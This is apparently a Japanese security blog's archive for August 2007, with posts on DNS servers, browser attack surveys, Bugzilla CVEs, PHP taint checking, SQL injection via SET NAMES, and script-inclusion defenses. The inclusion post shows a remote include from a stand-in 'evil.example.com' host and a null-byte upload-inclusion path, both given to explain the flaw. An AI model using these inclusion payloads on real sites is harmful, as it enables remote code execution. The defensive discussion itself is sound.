月: 2007年8月

BIND8もメンテナンス終了

また別のDNSキャッシュ汚染脆弱性が見つかったBIND8ですが、2007/8/27でメンテナンス終了と宣言しています。

ISC is announcing BIND 8 to be End of Life as of today, 27 August 2007.

ISC strongly encourages users who depend on BIND 8 to migrate to BIND 9 as soon as possible.

djbdnsを使っているので影響ないですがBIND8が残っているシステム管理者の方、ご苦労さまです…

どうせアップグレードするなら別のDNSサーバも検討してみるのも良いかも知れません。

DJBDNS
http://djbdns.qmail.jp/

PowerDNS
http://www.powerdns.com/

MaraDNS
http://www.maradns.org/

Name Server Deamon
http://www.nlnetlabs.nl/nsd/

dents
http://sourceforge.net/projects/dents/

pdnsd
http://www.phys.uu.nl/~rombouts/pdnsd/index.html

Dual DHCP DNS Server
http://sourceforge.net/projects/dhcp-dns-server/

Oak DNS Server
http://www.digitallumber.com/oak/

Zero Calorie DNS Server
http://www.datazygte.com/downloads.html

dnsjava
http://www.dnsjava.org/index.html

Posadis DNS Server
http://sourceforge.net/projects/posadis/

RB DNS
http://sourceforge.net/projects/rbdns/

JDNSS
http://sourceforge.net/projects/jdnss/

CustomDNS
http://sourceforge.net/projects/customdns/

MyDNS
http://sourceforge.net/projects/mydns/

探してみるとたくさんありますね。

バグが少ないブラウザがより安全とは限らない

Honeypotプロジェクトの調査の結果、興味深いというか、予想通りの結果になったようです。

Older versions of the three major browsers for Windows — Microsoft’s Internet Explorer 6 SP2, Mozilla’s Firefox 1.5.0, and Opera’s Opera 8.0.0 — were each used to browse the same subset, about 10 percent, of the sites. While researchers have disclosed about twice as many vulnerabilities for Firefox 1.5.0 as for Internet Explorer 6 SP2, the Honeynet Project found no attacks against the browser. Microsoft’s Web software, however, was compromised nearly 200 times.

攻撃する人も効率良く攻撃するためにシェアの多いのIEは200回攻撃されたにも関わらず、バグの多い古いFirefox、Operaは攻撃されなかったそうです。

The survey used a large list of 300,000 URLs belonging to about 150,000 hosts, finding that pornographic sites have the highest incidence — about 0.6 percent — of malicious sites, but that all categories included some sites that could lead to compromise.

これも予想どおりですがアダルトサイトが最もリスクが高いようです。しかし、全てのタイプのサイトから攻撃される可能性があるとしています。

A fully-patched version of Internet Explorer 6 visited 2,289 malicious sites, none of which managed to compromise the system.

2289の悪意のあるサイトは全てパッチ済みのIEに対して攻撃を成功させることはなかったそうです。

http://blogs.zdnet.com/security/?p=474

にはリモートコード実行脆弱性数のグラフが載っています。Firefoxが断トツです。

SkypeがLinuxユーザデータも収集?

「No spyware, adware, malware」としているSkypeですが

Much to his horror he found that Skype kept asking to see all the details of his Firefox software and its plug-ins.

とLinux版ではFirefoxとプラグインの情報を収集している疑いがあるようです。別の情報

http://www.heise-security.co.uk/news/94975

によると

One possible reason to read the Firefox directory is in order to retrieve from there proxy settings as it is done by Skype for Windows with Internet Explorer. This is supported by tests performed by heise Security, in which Skype opened only directories. The only real file it opened in the Firefox directory was prefs.js which does indeed contain the proxy settings. Another reason for Skype to access the user’s directory might simply be to check if the user has installed the vendor’s Firefox extension.

好意的に見ればプロキシ設定などを参照するためにpref.jsを読み取り、SkypeのFirefox拡張がインストールされているか確認している、とも考えられます。

試しに自分のLinuxのSkpyeでstraceしてみたところ通常の起動時にはfirefoxのファイルを読みにいかないようです。

今のところSkypeからのコメントは無いようですが「No spyware, adware, malware」と宣言するのであれば収集している情報がどのように利用されているか説明すべきでしょう。

ところで、PC版ではBIOS情報を収集している疑いがあるようです。

http://www.theinquirer.net/default.aspx?article=37489

Storm Site

F-Secureのyoutube動画です。ブラウザのバグを利用して何らかのプログラムを実行させるようです。

知らないメールのリンクはクリックしてはならない、と言うだけではインパクトが少ないのでこのビデオは役に立つかも。ただ、音が悪いの難点です。

Bugzillaのセキュリティホール

Bugzillaに結構重要なセキュリティホールがレポートされています。

CVE-2007-4538

email_in.pl in Bugzilla 2.23.4 through 3.0.0 allows remote attackers to execute arbitrary commands via the -f (From address) option to the Email::Send::Sendmail function, probably involving shell metacharacters.

CVE-2007-4539

The WebService (XML-RPC) interface in Bugzilla 2.23.3 through 3.0.0 does not enforce permissions for the time-tracking fields of bugs, which allows remote attackers to obtain sensitive information via certain XML-RPC requests, as demonstrated by the (1) Deadline and (2) Estimated Time fields.

http://www.bugzilla.org/security/2.20.4/

によると8/23には修正版が公開されたようです。コマンドインジェクションなので早くアップグレードする必要があります。

Core Grasp

遅ればせながらCore Graspのパッチを読みました。超ななめ読みなので勘違いしているかも知れません。間違っていたら教えてください。

一番興味があったのはSQLインジェクションの自動検出はどうなっているのかです。以下の関数がSQLインジェクションチェックに利用されています。

+int grasp_check_query(zval *z)
+{
+	char *c,*s;
+	int i,j,l;
+	char q;
+
+	if (grasp_isfull_p(z)) return 0;
+	if (!grasp_isptr_p(z)) return 1;
+	if (z->type != IS_STRING && z->type != IS_CONSTANT) return 1;
+	
+	
+	l = z->value.str.len;
+	c = z->value.str.val;
+	s = z->secmark;
+
+
+	for(i = 0; i<l; i++)
+	{
+		if (s[i] && (c[i]=='-'))			
+		{
+			i++;					
+			if(!(c[i] < '0' || c[i] > '9')) 
+			{
+				for(i;i<l;i++)			
+				{
+					if (c[i] < '0' || c[i] > '9')
+					{
+						if (!s[i])
+							break;	
+						else
+							return 0; 
+					}
+				}
+			}
+			else
+			{
+				return 0;
+			}
+			if(i == l) return 1;
+		}
+		
+
+		if (s[i] && (c[i] < '0' || c[i] > '9')) return 0;
+		
+		if (c[i] == '¥¥')
+		{
+			i++; 
+			if (s[i]) return 0;
+		} else
+		if (c[i] == '¥'' || c[i] == '¥"' || c[i] == '`')
+		{
+			q = c[i];
+			for(i++; i<l; i++)
+			{
+				if (c[i] == '¥¥')
+					i++; else
+				if (c[i] == q)
+					break;
+			}
+			if (i<l && s[i]) return 0;
+		} 
+	}
+	return 1;
+}

どうも文字列の各文字が安全かチェックして安全でない場合はエラーにしているようです。単純に「この文字列(ZVAL)は関数で処理済みで安全」とマークしている訳でないようです。

ではmysql_real_escape_stringとかを拡張して安全マークを追加しているのかな?と思ったらしていないようです。代わりにaddslashesが拡張されていました。

PHP_FUNCTION(addslashes)
 {
 	zval **str;
+#ifdef HAVE_GRASP
+	char *res, *secm;	
+#endif
 
 	if (ZEND_NUM_ARGS() != 1 || zend_get_parameters_ex(1, &str) == FAILURE) {
 		WRONG_PARAM_COUNT;
@@ -2884,11 +3266,23 @@ PHP_FUNCTION(addslashes)
 	if (Z_STRLEN_PP(str) == 0) {
 		RETURN_EMPTY_STRING();
 	}
+#ifdef HAVE_GRASP
+	grasp_normalize(*str);
+	res = 0;
+	secm = 0;
+	//grasp_setptr_p(return_value, zend_get_parameters_secmark());
+	res = php_addslashes_secmark(Z_STRVAL_PP(str),
+	                             Z_STRLEN_PP(str), 
+	                             &Z_STRLEN_P(return_value), 0, &secm, Z_SECMARK_PP(str)
+	                             TSRMLS_CC);
 
+	RETURN_STRING_SECMARK(res, 0, secm);
+#else
 	RETURN_STRING(php_addslashes(Z_STRVAL_PP(str),
 	                             Z_STRLEN_PP(str), 
 	                             &Z_STRLEN_P(return_value), 0 
 	                             TSRMLS_CC), 0);
+#endif
 }

マルチバイト環境ではaddslashesによる文字列エスケープは厳禁な(SQLインジェクションに脆弱になる場合がある)ので実装的には不十分です。

GraspはPHP用のtaintモードとして紹介されていますが、Perl, Rubyなどの一般的にtaintモード呼ばれている機能と多少異なります。

http://www.cs.virginia.edu/~evans/pubs/infosec05.html

に記載されているようなtaintモードになっているようです。
# この論文もななめ読み

具体的には

$sql = “SELECT * FROM table WHERE id = “. $id;
mysql_query($sql);

の様なコードでも$idが危険な文字列かつ攻撃コードを含んでいれば、エラーになります。つまり、$sql文字列中の$id部分が安全かどうかチェックできるようになっています。

例えば、

if (ereg(“[0-9]+”, $_GET[‘id’]) {
$id = $_GET[‘id’];
}

の様にプログラマのミスにより$idが危険な変数になっていても攻撃が回避できます。

完成度が高くなれば通常のtaintモードとは比べ物にならないくらい安全性の向上が期待できると思います。しかし、パッチを超ななめ読みした感じでは実用的になるまでもうしばらく時間が必要な気がしましたが、順調に開発が進めばかなり便利な機能になると思います。
# 現状の実装だど文字エンコーディングがSJIS等の場合はSQLインジェクション
# と誤検出すると思います。addslashesなので元々SJIS等の事などまったく考慮
# されていなくて当たり前です。マルチバイト文字の事は考えてないようですが
# UTF-8ならそれなりに使えそうです。

SQLインジェクションは対策が簡単ですが、XSSは適材適所で対応が分かれるので精度の高い対策は難しいです。しかし、LDAP/XPATH/XQuery等のインジェクション攻撃は基本的にSQLインジェクションと同じレベルで対応可能です。半年後くらいにまたパッチを見てみよう。

URLも右から左に書ける、と言う話

右から左に書く機能を使ってファイルの拡張子をごまかす方法は有名です。タイトルのリンク先はUTF-8テキストをアドレスバーにコピー&ペーストするとURLでさえ逆向きに表示される、と言う話。私は知らなかったのですがその系に詳しい方には常識だったのかな??

コメントに書いてありますがOSXのFirefoxでは逆向きにならないようです。今私もOSXで書いているので後でWindows/Linuxで試してみます。

見え方にもよりますが、URLでも使えてしまうと「釣ってください」と言っているのと同じ状態なっているかもしれません… どう見えるか後で試してみよう…

追記:
リンク先のブログ本文のテキスト先頭に制御文字らしきものもあるなぁ、とソースを見ると英文を反対方向(右から左)に書いているのですね(笑

アドレスバーに制御文字を入れてから入力するとOSXのFirefoxでもLinuxのFirefoxでも反対方向にタイプされていきます。つまり、testと入力するとtsetになります。ステータスに表示されるURLを反対方向から表示するブラウザがあると困りますが、当たり前に反対から表示しそうな気がします… 後で試そう…

2.5′ HDDで320GB

仮想環境を使ったり、マルチブートにするとどうしてもHDD容量が必要になります。今のノートPCは160GBのHDDですがかなり手狭です。200GB/7200rpmのHDDもよさそうですが熱そう。

SET NAMESは禁止

MySQLには文字エンコーディングを変更する「SET NAMES」SQL文が用意されています。(PostgreSQLも同様のSQL文、SET CLIENT_ENCODINGがあります)この機能はSQLコンソールからは使ってよい機能ですが、アプリケーションからは使ってはならない機能です。SQLインジェクションに脆弱になる場合があります。

Ruby on Railsの本を読んでいて、ActiveRecordを説明している部分にMySQLの文字エンコーディングを変更する場合の例としてSET NAMESが利用されていました。アプリケーションからはSET NAMESは使ってはならない事を周知させるのは結構時間が必要かなと思いました。

PHPも5.2の途中からMySQLモジュールにlibmysqlの文字エンコーディング設定APIのラッパー関数が追加されていたりするので、たまたま最近読んだRoRの本だけでなく、多くの開発向け情報ソースにSET NAMESを利用した例が載っていると思います。

ストアドプロシージャだけ使っていれば安全ですが、アプリケーションからDBMSの文字エンコーディングを設定する場合、SQL文ではなく必ず文字エンコーディング設定APIを利用するよう紹介しなければならないです。MySQL4はストアドプロシージャが使えないので、フレームワークなどではエミュレートしています。ストアドプロシージャだけ使って防御している「つもり」で防御になっていない場合もあります。これもフレームワークを使っていてもアプリケーションが脆弱になる良い例ですね。

脆弱性の説明は面倒ですが注意事項は簡単です。「DBMSをアプリケーションから利用する場合、文字エンコーディング設定は必ずAPIを利用する」つまり「SET NAMES(PostgreSQLのSET CLIENT_ENCODING等も)は禁止」です。

PHPのMySQL:

PHPのPostgreSQL:

PHPのPDO:

<?php
// MySQL
$pdo = new PDO(
    'mysql:host=yourhost;dbname=yourdb;charset=sjis',
    'user', 'password'
);

// PostgreSQL
$pdo = new PDO(
    "pgsql:host=yourhost;dbname=yourdb;options='--client_encoding=sjis'"
);

Rails:

config.encoding = 文字コード

 

意図が伝わってないのかな?

「なぜPHPアプリケーションにセキュリティホールが多いのか?」をテーマにした技術評論社のブログ風の記事を書いています。

一番新しい

http://gihyo.jp/dev/serial/01/php-security/0008

ですが、自分で防いだつもりのセキュリティホールは実は防いだ事になっていなかった、アプリケーションが多く在りました。というより今でも作り続けられています。原因は「サニタイズ」による脆弱性の回避であるものが多いです。なので「サニタイズ」ではなく「バリデーション」と「適切なエスケープ」によって対策すべきです、と書きたかったのですが「エスケープ」の部分を書いてないですね。バリデーションの時に説明するつもりですが、確かに尻切れとんぼのような感じです。

編集の方からこんな感じなのですがどうなんでしょう?メールが来ていました。

http://b.hatena.ne.jp/entry/http%3A//gihyo.jp/dev/serial/01/php-security/0008

と言う感じで何やら否定的なコメントが多いようです。

最初に

今回は熟練したWebアプリ開発者なら常識のクロスサイトスクリプティング対策の落とし穴を紹介します。

と書いているのですがどうも「熟練のWebアプリ開発者なら常識」としている前提が伝わっていなかった?のか記事自体に問題がある?のか理由がいまいち分かりません。

ブックマークしている方を見るとセキュリティ系で有名な方もいます。初心者向けのブログなのであまり一般受けしないエントリはこのブログの方が多はずです。(と言ってもこちらにもあまり役に立つことはあまり書いてませんが)いまいち理由がよくわからないのでもし知っている方教えてください。

スクリプトインクルード問題の根本的解決策

スクリプトインクルード問題には2種類の問題があります。一つはリモートスクリプトインクルード、もう一つはローカルスクリプトインクルードです。

デフォルト設定のPHP 5.2はURL形式のファイルをスクリプトとして実行できなくなりました。つまり

include(‘http://evil.example.com/attack.php’);

の様なコードは実行できなくなり、頻繁にレポートされる「リモートスクリプトの実行」が可能な脆弱性はデフォルト設定では発生しなくなりました。

しかし、PHP 5.2以降でもPHPプログラムはファイルにコードを埋め込む形式でプログラムを記述しなければなりません。アップロードされたローカルファイルをスクリプトとして実行するのは非常に簡単です。入力ファイルのバリデーションを行っても、全てのファイルからコードを取り除くのは簡単ではありませんし、現実的でない場合もあります。PHPは他の言語と異なり「コードを埋め込む形式」であるために、”ローカル”スクリプトインクルードがセキュリティ上の問題となる可能性が残されています。

PHPアプリでスクリプトインクルードがセキュリティ上の問題として度々取り上げられる原因は、PHPが「コード埋め込み型」でスクリプトを実行していることにあります。「コード埋め込み型」でスクリプトを実行していなければ他のスクリプト型言語を同等レベルにまでローカルスクリプト実行脆弱性を軽減することができます。

「デフォルト状態でのリモートスクリプトの実行機能」はあきらかにPHPにとって負の遺産でした。同じように「デフォルト状態でのコード埋め込み型のスクリプト」も負の遺産だと思っています。最近のPHPプログラムはコードとHTMLは分離され、埋め込み型である必要性があるのはテンプレートくらいになっています。多くの他のスクリプトファイルはプログラム以外のデータを埋め込む必要が全くないコードになっています。にもかかわらず「コードの埋め込み型のスクリプト」をデフォルトとして意図しないローカルスクリプトの実行に対して脆弱でありつづける必要はありません。

スクリプトインクルード問題対策には、まず「埋め込み型スクリプト」が保存されたディレクトリを指定し、それ以外はコードの埋め込みを許可しないように仕様変更が必要です。これによりユーザから送信された画像や圧縮ファイル、テキストファイルを誤ってスクリプトとして実行してしまう事態をかなり回避できるようになります。

パッチの作成は割と簡単です。埋め込みモードでスクリプト実行するディレクトリを保存するためのphp.ini設定を追加します。PHPがスクリプトファイルをコンパイルする場合、設定されたディレクトリ以外はパーサの初期状態をST_IN_SCRIPTINGに設定し、終了タグが現れても無視します。古いPHPとの互換性維持のため開始タグが現れても無視する様にすれば、既存のライブラリファイルもそのまま使えます。

ユーザが任意データをアップロード可能なアプリケーションに仮にローカルスクリプトインクルードに脆弱なコード

include($_GET[‘module_name’].’.php’);

が在ったとしても, $_GET[‘module_name’]にアップロードしたファイル名を設定して

include(“/www/upload/evil.gif¥0.php”);

のようなリクエストを送信しても、画像形式を適切にバリデーションしていれば”/www/upload/”に保存された画像ファイルをスクリプトとして実行されてしまう危険性を大幅に低減できます。バリデーションにはTokenizerを利用し、PHPのトークン(プログラムのコード)が無いことを確認します。

意図しないスクリプトインクルードされる問題を確実に回避するは埋め込みモードでスクリプトを実行するディレクトリだけでなく、通常モードでスクリプトを実行するディレクトリも指定できるようにします。こうすればこれらのディレクトリへの書き込みを適切に制限していればスクリプトインクルードによる攻撃を防ぐ事ができます。

パッチ作成は割と簡単です。欲しい方います??

データバインディングを利用したXSS対策

少し前にクライアントサイドでXSS対策(Failsafe対策)をする方法を紹介しましたが
http://blog.ohgaki.net/index.php/yohgaki/2007/08/01/a_ma_ca_ca_ca_sa_a_ma_ca_a_sa_rxssamfcs

こちらはサーバサイド(データをバインディングする方法)も使ってXSS対策する方法です。
http://www.wisec.it/ph/test.php

一般的にお勧めできる方法とは言えませんが、XSS対策としては面白い方法です。この手法の良い所はもれなく対策でき、対策が行われている事を簡単に検証できる点です。悪い所はXSS対策にJavaScriptを使っている、検索エンジンに不親切、NoScriptユーザに不親切などがあります。

テストページのコメントにも書いてありますが、クライアント側での対策であり対策の有効性はクライアントの実装に影響されます。このため完全に防御できないケースもあります。

PHP 5.2.4

ご存知の方も多いと思いますがPHP 5.2.4のリリースが近いです。しばらく前にRC1が出ています。

http://qa.php.net/

どのWebアプリケーションもですがインフラとなるソフトウェアのバージョンアップをどう行うか定めておかなければなりません。オープンソースの場合、いつでもソースコードのリポジトリから開発版が利用できるので開発版を利用してアプリケーションの動作に支障が無いかテストできます。

しかし、普通は開発版で常に動作テストは行えません。次のバージョンがリリースされる前にしばらくの間RC版(Release Candidate版)がテスト用に配布されます。RC版の間であればクラッシュバグや意図的でない動作仕様の違いなどをバグレポートとして提出すればリリース前に修正される可能性が高くなります。パッチを付けて送付すれば適用される可能性も高くなります。RCで動作テストを十分行っていればリリースされた場合にセキュリティフィックスが含まれいても慌てることはありません。

大規模にシステムを運用している会社であればRC版からの動作テストのメリットは非常に多いです。RC版からの動作テスト&フィードバックを強くお勧めします。

パッチを提供すべきか、移行すべきか、自分で作るか…

このブログを利用し始めた当時、b2evolution以外でユーザからの入力をホワイトリスト方式でチェックしているアプリが見つからなかったので採用しました。しかし、最近のバージョンは日本語環境での利用には問題があります。ハイパーリンクを付けるとそれ以降が表示されない、ロケールの処理に問題があり文字化けする、等です。

この問題に対応するためには

  • パッチを提供
  • 別のアプリに移行
  • 自分で作る

のオプションを考えています。

パッチを提供する場合、直したい個所(というより設計レベルでの変更)が沢山あります。コミュニティに貢献するにしても思っている方向性にプロジェクトを誘導するのはかなり骨が折れる作業になると思います。
# とは言っても結構長い間(2004年以降)お世話になっているの
# で貢献するオプションも捨てがたいです。

そこで別アプリ、と言う事でserendipityを見てみました。古いバージョンのb2evolutionからの移行するプラグインも付いていたので、多少手直しすれば移行できそうでした。しかしserendipityにはトラックバックを無効にするオプションが無いです。簡単にトラックバックを無効にするように修正できますがバージョンアップの度にパッチするのも面倒です…

最後のオプションは自分で作る、ですがこれだけいろいろブログアプリがある中、自分で作るのもいかがな物かと考えてしまいます。暇であれば作っても良いですが、全然暇が無い状態なのでなおさらです。

さて、どうしたものか….